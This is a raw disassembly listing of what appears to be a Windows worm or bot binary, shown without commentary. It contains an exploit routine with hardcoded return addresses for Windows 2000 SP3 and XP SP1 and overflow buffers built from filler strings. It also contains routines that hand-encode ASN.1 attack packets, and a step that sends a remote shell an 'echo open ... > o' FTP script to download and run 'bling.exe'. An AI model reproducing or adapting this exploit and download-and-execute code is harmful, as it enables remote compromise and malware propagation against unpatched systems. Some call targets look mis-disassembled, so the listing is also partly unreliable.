		push	dword_4D5DF4
		call	dword_4453E0
		push	dword_4D61F8
		call	dword_4453E0
		push	dword_4D61FC


loc_40ACCC:				; CODE XREF: ___:0040AB5Aj
		call	dword_4453E0


loc_40ACD2:				; CODE XREF: ___:0040A657j
					; ___:0040A672j ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACD9	proc near		; CODE XREF: ___:0040ACA3p

var_800		= byte ptr -800h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 800h
		push	esi
		push	edi
		mov	edi, [ebp+arg_BC]
		mov	esi, 400h
		push	0
		lea	eax, [ebp+var_800]
		push	esi
		push	eax
		push	edi
		call	dword_445360
		cmp	eax, 0FFFFFFFFh
		jz	loc_40ADAC
		movzx	eax, word ptr dword_4D3010
		push	eax
		push	[ebp+arg_0]
		call	sub_40267D
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 14h
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	edi
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40ADAC
		push	1F4h
		call	near ptr 2690599h
		nop
		push	offset aBling_exe ; "bling.exe\r\n"
		lea	eax, [ebp+var_400]
		push	esi
		push	eax
		call	sub_4172D0
		add	esp, 0Ch
		lea	eax, [ebp+var_400]
		push	0
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		push	edi
		call	dword_445398
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40ADAC
		push	0
		push	esi
		push	offset dword_4D5CF4
		push	edi
		call	dword_445360
		push	edi
		call	dword_4453E0


loc_40ADAC:				; CODE XREF: sub_40ACD9+2Aj
					; sub_40ACD9+78j ...
		pop	edi
		pop	esi
		leave
		retn
sub_40ACD9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2060h
		call	sub_417E20
		push	ebx
		push	esi
		push	edi
		push	5
		pop	ecx
		mov	esi, offset aWindows2000Sp3 ; "Windows 2000 SP 3 (en)"
		lea	edi, [ebp-60h]
		xor	eax, eax
		rep movsd
		movsw
		movsb
		lea	edi, [ebp-49h]
		push	5
		stosd
		stosw
		stosb
		pop	ecx
		mov	esi, offset aWindowsXpSp1En ; "Windows XP SP 1 (en)"
		lea	edi, [ebp-38h]
		mov	dword ptr [ebp-40h], 77EE044Ch
		mov	dword ptr [ebp-3Ch], 768D693Eh
		xor	eax, eax
		rep movsd
		movsb
		lea	edi, [ebp-23h]
		push	1
		stosd
		stosd
		stosb
		lea	eax, [ebp+0Ch]
		mov	dword ptr [ebp-18h], 77ED73B4h
		push	eax
		mov	dword ptr [ebp-14h], 7804BF52h
		call	sub_411949
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jz	loc_40AF14
		test	eax, eax
		jz	loc_40AF14
		push	2
		pop	edi
		cmp	eax, edi
		jnz	short loc_40AE34
		xor	esi, esi
		jmp	short loc_40AE3A
; ---------------------------------------------------------------------------


loc_40AE34:				; CODE XREF: ___:0040AE2Ej
		mov	esi, [ebp+0C0h]


loc_40AE3A:				; CODE XREF: ___:0040AE32j
		cmp	eax, 3
		jnz	short loc_40AE42
		push	1
		pop	esi


loc_40AE42:				; CODE XREF: ___:0040AE3Dj
		push	10h
		lea	eax, [ebp-10h]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	[ebp-10h], di
		push	eax
		call	dword_445388
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_445348
		mov	[ebp-0Eh], ax
		lea	eax, [esi+esi*4]
		shl	eax, 3
		push	dword ptr [ebp+eax-40h]
		push	dword ptr [ebp+eax-3Ch]
		lea	eax, [ebp-2060h]
		push	2000h
		push	eax
		call	sub_40AF1B
		add	esp, 10h
		mov	ebx, eax
		push	11h
		push	edi
		push	edi
		call	dword_4453C8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AF14
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	0
		lea	eax, [ebp-2060h]
		push	ebx
		push	eax
		push	esi
		call	dword_4453AC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AF14
		push	esi
		call	dword_4453E0
		push	1F4h
		call	near ptr 2690599h
		nop
		push	23E7h
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4121EE
		add	esp, 0C0h
		cmp	al, 1
		jnz	short loc_40AF14
		mov	eax, [ebp+0B0h]
		push	1
		shl	eax, 6
		inc	dword_43DE40[eax]
		lea	eax, dword_43DE40[eax]
		pop	eax
		jmp	short loc_40AF16
; ---------------------------------------------------------------------------


loc_40AF14:				; CODE XREF: ___:0040AE1Bj
					; ___:0040AE23j ...
		xor	eax, eax


loc_40AF16:				; CODE XREF: ___:0040AF12j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF1B	proc near		; CODE XREF: ___:0040AE8Dp

var_13DC	= byte ptr -13DCh
var_13CC	= byte ptr -13CCh
var_11E8	= byte ptr -11E8h
var_AE4		= byte ptr -0AE4h
var_68E		= byte ptr -68Eh
var_683		= dword	ptr -683h
var_67F		= dword	ptr -67Fh
var_67B		= byte ptr -67Bh
var_551		= byte ptr -551h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 13DCh
		call	sub_417E20
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43EDD8
		lea	edi, [ebp+var_10]
		push	7
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset aNetmaniac ; "NETMANIAC"
		lea	edi, [ebp+var_24]
		movsd
		movsd
		movsw
		mov	esi, offset aAdik ; "ADIK"
		lea	edi, [ebp+var_18]
		movsd
		movsb
		pop	ecx
		mov	esi, offset byte_43EDFC
		lea	edi, [ebp+var_54]
		push	[ebp+arg_4]
		rep movsd
		movsw
		movsb
		mov	esi, offset byte_43EE1C
		lea	edi, [ebp+var_34]
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset aMessage ; "*** MESSAGE ***"
		lea	edi, [ebp+var_13DC]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_0]
		xor	eax, eax
		mov	ecx, 4DEh
		lea	edi, [ebp+var_13CC]
		push	eax
		push	esi
		rep stosd
		call	sub_417070
		push	50h
		push	offset dword_43ED54
		push	esi
		call	sub_4187B0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_414BE0
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	0Ch
		push	eax
		lea	eax, [esi+50h]
		inc	edi
		push	eax
		mov	[ebp+var_10], edi
		mov	[ebp+var_8], edi
		call	sub_4187B0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_4184C0
		dec	edi
		lea	eax, [ebp+var_18]
		and	edi, 0FFFFFFFCh
		push	eax
		add	edi, 60h
		call	sub_414BE0
		mov	ebx, eax
		push	0Ch
		inc	ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_4187B0
		add	esp, 40h
		add	edi, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_4184C0
		dec	ebx
		push	8F8h
		and	ebx, 0FFFFFFFCh
		lea	eax, [ebp+var_13DC]
		push	90h
		push	eax
		lea	edi, [edi+ebx+4]
		call	sub_417070
		push	1E4h
		lea	eax, [ebp+var_11E8]
		push	offset loc_43EB70
		push	eax
		call	sub_4187B0
		push	708h
		lea	eax, [ebp+var_AE4]
		push	14h
		push	eax
		call	sub_417070
		lea	eax, [ebp+var_34]
		push	0Dh
		push	eax
		lea	eax, [ebp+var_68E]
		push	eax
		call	sub_4187B0
		mov	eax, [ebp+arg_8]
		push	1Eh
		mov	[ebp+var_683], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_67F], eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_67B]
		push	eax
		call	sub_4187B0
		mov	eax, 0E8Ch
		add	esp, 44h
		sub	eax, edi
		push	eax
		push	offset aMsgBodySizeD ; "[*] Msg	body size: %d\n"
		push	offset dword_4438E0
		call	sub_418240
		lea	eax, [ebp+var_551]
		sub	eax, edi
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_13DC]
		push	eax
		call	sub_414BE0
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	0Ch
		push	eax
		lea	eax, [edi+esi]
		inc	ebx
		push	eax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_8], ebx
		call	sub_4187B0
		add	edi, 0Ch
		lea	eax, [ebp+var_13DC]
		push	eax
		lea	eax, [edi+esi]
		push	eax
		call	sub_4184C0
		push	0
		add	edi, ebx
		call	sub_418BB0
		mov	[esi+28h], eax
		add	esp, 28h
		lea	eax, [edi-50h]
		mov	[esi+4Ah], eax
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AF1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0FF	proc near		; CODE XREF: sub_40B3A1+Ep
					; sub_40B3A1+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40B0FF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40B137
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40B137	proc near		; CODE XREF: ___:0040B121p
					; sub_40B3A1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_414DB0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40B169
		push	ebx
		push	0
		push	edi
		call	sub_417070
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4187B0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40B169:				; CODE XREF: sub_40B137+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40B137	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B171	proc near		; CODE XREF: sub_40B26B+18p
					; sub_40B2E5+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_414DB0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40B1BD
		push	edi
		push	0
		push	esi
		call	sub_417070
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4187B0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4187B0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40B1BD:				; CODE XREF: sub_40B171+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40B171	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1C6	proc near		; CODE XREF: sub_40B26B+5Ep
					; sub_40B26B+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B1D6
		push	eax
		call	sub_415820
		pop	ecx


loc_40B1D6:				; CODE XREF: sub_40B1C6+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40B1C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1DF	proc near		; CODE XREF: sub_40B26B+20p
					; sub_40B346+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40B20C
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_414DB0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B210


loc_40B20C:				; CODE XREF: sub_40B1DF+Dj
		xor	al, al
		jmp	short loc_40B267
; ---------------------------------------------------------------------------


loc_40B210:				; CODE XREF: sub_40B1DF+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_417070
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40B235
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40B24F
; ---------------------------------------------------------------------------


loc_40B235:				; CODE XREF: sub_40B1DF+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40B24F:				; CODE XREF: sub_40B1DF+54j
		push	eax
		call	sub_4187B0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415820
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40B267:				; CODE XREF: sub_40B1DF+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B1DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B26B	proc near		; CODE XREF: sub_40B3A1+89p
					; sub_40B3A1+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4D6210
		call	sub_40B171
		lea	ecx, [ebp+var_8]
		call	sub_40B1DF
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_414DB0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B2A5
		xor	al, al
		jmp	short loc_40B2E1
; ---------------------------------------------------------------------------


loc_40B2A5:				; CODE XREF: sub_40B26B+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417070
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4187B0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40B1C6
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40B1C6
		mov	al, 1


loc_40B2E1:				; CODE XREF: sub_40B26B+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40B26B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2E5	proc near		; CODE XREF: sub_40B319+14p
					; sub_40B336+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40B171
		mov	ecx, esi
		call	sub_40B1C6
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40B2E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B319	proc near		; CODE XREF: sub_40B3A1+F0p
					; sub_40B3A1+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_414BE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40B2E5
		pop	esi
		retn	4
sub_40B319	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B336	proc near		; CODE XREF: sub_40B382+Bp
					; sub_40B3A1+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B2E5
		retn	8
sub_40B336	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B346	proc near		; CODE XREF: sub_40B382+16p
					; sub_40B3A1+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40B1DF
		test	al, al
		jz	short loc_40B37F
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_43F1BF+1)
		call	sub_40B171
		mov	ecx, esi
		call	sub_40B1C6
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40B37F:				; CODE XREF: sub_40B346+Fj
		pop	esi
		leave
		retn
sub_40B346	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B382	proc near		; CODE XREF: sub_40B3A1+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40B336
		test	al, al
		jz	short loc_40B39D
		mov	ecx, esi
		call	sub_40B346


loc_40B39D:				; CODE XREF: sub_40B382+12j
		pop	esi
		retn	8
sub_40B382	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B3A1	proc near		; CODE XREF: ___:0040BC00p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40B0FF
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40B6F5
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40B6F5
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40B0FF
		lea	ecx, [ebp+var_20]
		call	sub_40B0FF
		lea	ecx, [ebp+var_50]
		call	sub_40B0FF
		lea	ecx, [ebp+var_18]
		call	sub_40B0FF
		lea	ecx, [ebp+var_40]
		call	sub_40B0FF
		lea	ecx, [ebp+var_38]
		call	sub_40B0FF
		lea	ecx, [ebp+var_28]
		call	sub_40B0FF
		push	4
		push	offset dword_43EE60
		lea	ecx, [ebp+var_30]
		call	sub_40B2E5
		push	3
		push	offset dword_43EE68
		lea	ecx, [ebp+var_30]
		call	sub_40B2E5
		lea	ecx, [ebp+var_30]
		call	sub_40B26B
		lea	ecx, [ebp+var_30]
		call	sub_40B346
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40B2E5
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40B2E5
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40B2E5
		lea	ecx, [ebp+var_20]
		call	sub_40B26B
		push	offset loc_43F1C4
		lea	ecx, [ebp+var_50]
		call	sub_40B319
		lea	ecx, [ebp+var_50]
		call	sub_40B26B
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40B137
		lea	ecx, [ebp+var_58]
		call	sub_40B26B
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40B382
		lea	ecx, [ebp+var_58]
		call	sub_40B1C6
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417070
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40B319
		push	4
		push	offset dword_43EE6C
		lea	ecx, [ebp+var_18]
		call	sub_40B2E5
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40B2E5
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40B2E5
		lea	ecx, [ebp+var_18]
		call	sub_40B26B
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40B336
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40B336
		lea	ecx, [ebp+var_40]
		call	sub_40B346
		lea	ecx, [ebp+var_18]
		call	sub_40B1C6
		lea	ecx, [ebp+var_50]
		call	sub_40B1C6
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40B336
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40B336
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40B336
		lea	ecx, [ebp+var_38]
		call	sub_40B346
		lea	ecx, [ebp+var_20]
		call	sub_40B1C6
		lea	ecx, [ebp+var_30]
		call	sub_40B1C6
		lea	ecx, [ebp+var_40]
		call	sub_40B1C6
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40B2E5
		lea	ecx, [ebp+var_28]
		call	sub_40B26B
		push	2
		push	offset dword_43F1D8
		lea	ecx, [ebp+var_28]
		call	sub_40B2E5
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40B336
		lea	ecx, [ebp+var_28]
		call	sub_40B346
		lea	ecx, [ebp+var_38]
		call	sub_40B1C6
		lea	ecx, [ebp+var_10]
		call	sub_40B0FF
		lea	ecx, [ebp+var_8]
		call	sub_40B0FF
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40B336
		lea	ecx, [ebp+var_10]
		call	sub_40B1DF
		lea	ecx, [ebp+var_28]
		call	sub_40B1C6
		push	offset dword_43F1DC
		lea	ecx, [ebp+var_8]
		call	sub_40B319
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40B336
		lea	ecx, [ebp+var_8]
		call	sub_40B1DF
		lea	ecx, [ebp+var_10]
		call	sub_40B1C6
		push	offset dword_43F1E0
		lea	ecx, [ebp+var_10]
		call	sub_40B319
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40B336
		lea	ecx, [ebp+var_10]
		call	sub_40B1DF
		lea	ecx, [ebp+var_8]
		call	sub_40B1C6
		push	offset dword_43F1E4
		lea	ecx, [ebp+var_8]
		call	sub_40B319
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40B336
		lea	ecx, [ebp+var_8]
		call	sub_40B1DF
		lea	ecx, [ebp+var_10]
		call	sub_40B1C6
		push	offset dword_43F1F0
		lea	ecx, [ebp+var_48]
		call	sub_40B319
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40B336
		lea	ecx, [ebp+var_8]
		call	sub_40B1C6
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40B703
; ---------------------------------------------------------------------------


loc_40B6F5:				; CODE XREF: sub_40B3A1+1Bj
					; sub_40B3A1+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40B703:				; CODE XREF: sub_40B3A1+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40B3A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B707	proc near		; CODE XREF: sub_40B7CB+A1p
					; sub_40B7CB+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40B76E
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_431972
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40B772


loc_40B76E:				; CODE XREF: sub_40B707+54j
		xor	eax, eax
		jmp	short loc_40B782
; ---------------------------------------------------------------------------


loc_40B772:				; CODE XREF: sub_40B707+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_445360


loc_40B782:				; CODE XREF: sub_40B707+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40B707	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B786	proc near		; CODE XREF: sub_40B7CB+81p
					; sub_40B7CB+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_445344
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_445398
		cmp	eax, 4
		jz	short loc_40B7B0
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B7B0:				; CODE XREF: sub_40B786+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_445398
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40B786	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7CB	proc near		; CODE XREF: sub_40B8A5+48p
					; ___:0040BCDDp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_414DB0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40B7F4
		xor	al, al
		jmp	loc_40B8A0
; ---------------------------------------------------------------------------


